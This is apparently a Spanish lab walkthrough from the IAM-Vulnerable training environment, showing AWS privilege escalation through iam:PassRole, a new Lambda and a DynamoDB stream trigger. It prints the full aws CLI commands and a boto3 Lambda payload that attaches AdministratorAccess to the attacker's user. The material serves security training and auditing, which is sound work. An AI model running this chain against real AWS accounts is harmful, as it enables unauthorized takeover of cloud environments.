PassRoleToNewLambdaThenTriggerWithNewDynamo

Un atacante con los permisos iam:PassRole , lambda:CreateFunction y lambda:CreateEventSourceMapping (y posiblemente dynamodb:PutItem y dynamodb:CreateTable ), pero sin el permiso lambda:InvokeFunction, puede escalar los privilegios creando una nueva función de Lambda y conectándola a una tabla de DynamoDB. Posteriormente, cuando se inserta una nueva fila en la tabla, la función Lambda ejecuta un código que aumenta los privilegios del usuario.

Luego del despliegue del laboratorio de IAM-Vulnerable, nos vamos a encontrar el siguiente usuario:

Este usuario tiene la siguiente política:

Este usuario tiene el siguiente rol:

Otra manera de validar lo anterior, es por medio del siguiente comando ya explicado:

Listando las políticas del usuario que será auditado:

aws iam list-attached-user-policies --user-name privesc16-PassRoleToNewLambdaThenTriggerWithNewDynamo-user

Obteniendo información relevante para nuestra auditoria utilizando el ARN de la política del usuario auditado:

aws iam get-policy-version --policy-arn arn:aws:iam::037572360634:policy/privesc16-PassRoleToNewLambdaThenTriggerWithNewDynamo --version-id v1

Para este laboratorio, debemos utilizar el siguiente rol que fue creado en el escenario privesc15 o cualquier otro rol privilegiado:

Este rol será necesario para realizar la demostración de esta técnica y representará un rol privilegiado que será asociado a una lambda.

Ahora con nuestro usuario administrador, vamos a generar unas credenciales con STS sobre dicho usuario.

aws sts assume-role --role-arn arn:aws:iam::037572360634:role/privesc16-PassRoleToNewLambdaThenTriggerWithNewDynamo-role --role-session-name privesc16

Por lo anterior, tenemos que autenticarnos con el comando aws configure y validar con el comando aws sts get-caller-identity.

aws configure --profile privesc16

aws sts get-caller-identity --profile privesc16

Si intentamos agregarnos al grupo de administradores, vamos a obtener un error de permisos:

aws iam add-user-to-group --group-name Group-Root-Spartan --user-name privesc16-PassRoleToNewLambdaThenTriggerWithNewDynamo-user --profile privesc16

En este escenario, tenemos que aprovechar del privilegio de lambda:CreateFunction para crear una función de lambda maliciosa que tendrá el código para adjuntar una política de altos privilegios a nuestro usuario inicial.

Nosotros estaremos utilizando el lenguaje de programación llamado Python y la librería boto3.

Referencia para Boto3:

El código malicioso de la lambda es el siguiente:

import boto3
def lambda_handler(event, context):
  client = boto3.client('iam')
  response = client.attach_user_policy(UserName='privesc16-PassRoleToNewLambdaThenTriggerWithNewDynamo-user', PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess')
  return response

Tendremos que guardar este código en un archivo con cualquier nombre como, por ejemplo: code.py

Posteriormente, tenemos que comprimir este script a un archivo comprimido llamado function.zip

Es importante resaltar, que debemos situarnos en el directorio que tiene alojado el archivo desde la terminal.

Para el próximo comando, estaremos creando la lambda utilizando el script previamente indicado y le estaremos asignando el rol de servicio llamado Rol-Spartan-Vulnerable-CPNA-Lambda o cualquier rol administrativo.

Ahora procedemos a crear una función de lambda con el siguiente comando:

aws lambda create-function --function-name privesc --runtime python3.6 --role arn:aws:iam::037572360634:role/Rol-Spartan-Vulnerable-CPNA-Lambda --handler code.lambda_handler --zip-file fileb://function.zip --region us-east-1 --profile privesc16

Ahora que hemos creado nuestra función maliciosa vamos aprovechar nuestro otro privilegio de lambda:CreateEventSourceMapping para vincular nuestra función a cualquier evento que ocurra sobre una DynamoDB.

En otras palabras, es necesario que en el ambiente que estemos auditando exista una tabla de DynamoDB.

Y también como requisito para poder realizar este ataque con éxito, es que la tabla de DynamoDB tenga la siguiente configuración:

Para el siguiente comando, es necesario tomar el ARN del flujo más reciente.

Y tener claro el nombre de la función maliciosa de lambda que hemos creado previamente.

aws lambda create-event-source-mapping --function-name privesc --event-source-arn arn:aws:dynamodb:us-east-1:037572360634:table/Spartan-Vulnerable/stream/2022-06-08T00:18:02.839 --enabled --starting-position LATEST --region us-east-1 --profile privesc16

Dado que el atacante no tiene ningún permiso de DynamoDB, no es posible cargar una nueva fila y desencadenar el exploit. En su lugar, el atacante debe esperar a que otro usuario o un servicio actualice la tabla.

El siguiente comando muestra a otro usuario de AWS cargando una fila en la tabla.

Tenga en cuenta, que en este comando falta el parámetro profile, lo que indica que esta ejecución se realizara utilizando otro usuario.

Primero creamos un archivo que tendrá el contenido que será subido a la tabla de DynamoDB:

{
  "Id": {
    "S": "cpad-001"
  },
  "Curso": {
    "S": "Curso de pentesting contra Active directory"
  },
  "PrecioDolares": {
    "N": "150"
  }
}

Ahora procedemos a ejecutar el siguiente comando:

aws dynamodb put-item --table-name Spartan-Vulnerable --item file://datos-table.json --region us-east-1

La acción en la tabla de DynamoDB hizo que se ejecutara la función Lambda vinculada, lo que aumentó los permisos del atacante: este método de escalada de privilegios es más fácil si el atacante también tiene los permisos dynamodb:CreateTable y dynamodb:PutItem, porque entonces el atacante puede crear una tabla de DynamoDB adecuada y cargar un elemento para activar el exploit.

Sin embargo, el ejemplo anterior se usó para demostrar la escalada de privilegios utilizando los permisos mínimos requeridos.

Finalmente, hemos comprometido exitosamente un rol administrativo por medio de la técnica previamente explicada.